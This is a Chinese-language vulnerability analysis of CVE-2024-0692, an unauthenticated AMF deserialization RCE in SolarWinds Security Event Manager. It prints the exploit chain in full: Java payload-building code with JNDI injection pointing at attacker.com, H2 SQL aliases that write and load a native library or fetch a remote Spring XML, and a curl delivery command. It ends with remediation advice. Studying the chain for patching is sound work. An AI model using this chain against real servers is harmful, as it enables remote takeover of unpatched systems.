SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692)
字数 1558 2025-08-05 12:50:33
SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692) 技术分析
漏洞概述
SolarWinds Security Event Manager 存在 AMF (Action Message Format) 反序列化远程代码执行漏洞 (CVE-2024-0692)。攻击者可通过构造恶意 AMF 数据包,在未授权情况下实现远程代码执行。
漏洞分析
1. AMF 反序列化基础
AMF (Action Message Format) 是一种基于 setter/getter 的二进制序列化协议:
- 反序列化过程会调用指定类的公共无参构造方法
- 然后通过 setter 方法恢复相关字段
- 与 Java 原生反序列化不同,AMF 不依赖
readObject方法
2. 漏洞成因
SolarWinds Security Event Manager 使用了 Apache Flex BlazeDS 4.7.3,存在以下问题:
-
不安全的 AMF 端点:
https://{server.name}:8443/services/messagebroker/amf(SecureAMFEndpoint)https://{server.name}:8443/services/messagebroker/streamingamf(ManagedSecureStreamingAmfEndpoint)
-
宽松的反序列化策略:
services-config.xml中配置了ClassDeserializationValidator- 但
allow-classes设置为.*,允许反序列化任意类
-
无鉴权措施:
- 直接 POST AMF 数据并设置
Content-Type: application/amf即可触发反序列化
- 直接 POST AMF 数据并设置
3. 漏洞利用链
利用链分为两个阶段:
第一阶段:HikariCP JNDI 注入
HikariConfig config = new HikariConfig();
Field f = HikariConfig.class.getDeclaredField("metricRegistry");
f.setAccessible(true);
f.set(config, "ldap://attacker.com/x");
通过设置 metricRegistry 属性触发 JNDI 注入。
第二阶段:受限的 H2 JDBC RCE
由于目标环境为 Java 17,传统反序列化利用受限,转而使用 H2 数据库的 JDBC 连接功能实现 RCE。
方法一:文件写入 + System.load
- 利用 H2 的
CREATE ALIAS功能调用外部方法 - 分块写入恶意
.so文件 - 加载动态链接库执行命令
关键 SQL 语句:
CREATE ALIAS CREATE_FILE FOR 'java.io.File.createTempFile(java.lang.String, java.lang.String)'
CREATE ALIAS WRITE_FILE FOR 'org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)'
CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'
CREATE ALIAS INVOKE_STATIC_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)'
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'
SET @file=CREATE_FILE('test', '.so')
CALL WRITE_FILE(@file, X'...', TRUE) -- 分块写入
SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', NULL)
SET @clazz=CLASS_FOR_NAME('java.lang.System')
CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)
方法二:ClassPathXmlApplicationContext
- 托管恶意 Spring XML 配置文件
- 通过 H2 调用
ClassPathXmlApplicationContext加载 - 利用 Spring XML 的
ProcessBuilder初始化执行命令
关键 SQL 语句:
CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'
CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'
CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'
SET @uri=URI_CREATE('http://attacker.com/exp.xml')
SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')
CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)
漏洞复现
环境准备
- 下载 SolarWinds Security Event Manager 安装包 (OVA 格式)
- 导入 VMware 虚拟机
- 获取源码路径:
lem分区的contego目录
利用步骤
- 生成 AMF 反序列化 payload:
// 使用 HikariCP JNDI 注入
HikariConfig config = new HikariConfig();
Field f = HikariConfig.class.getDeclaredField("metricRegistry");
f.setAccessible(true);
f.set(config, "ldap://attacker.com/x");
// 序列化为 AMF 格式
MessageBody body = new MessageBody();
body.setData(config);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
byte[] amfData = out.toByteArray();
-
启动 JNDI 服务器托管恶意 H2 JDBC 连接字符串
-
发送恶意请求:
curl https://target:8443/services/messagebroker/streamingamf \
-k \
-H "Content-Type: application/amf" \
--data-binary @payload.amf
修复建议
- 更新到最新版本
- 修改
services-config.xml,限制可反序列化的类:<validators> <validator class="flex.messaging.validators.ClassDeserializationValidator"> <properties> <allow-classes> <class name="flex.messaging.messages.*"/> <!-- 仅允许必要的类 --> </allow-classes> </properties> </validator> </validators> - 对 AMF 端点实施身份验证
总结
该漏洞利用链复杂但有效,结合了:
- AMF 反序列化漏洞
- HikariCP JNDI 注入
- H2 数据库的 JDBC 功能
- 多种绕过 Java 17 限制的技术
特别需要注意 Java 高版本环境下反序列化利用的限制和绕过方法。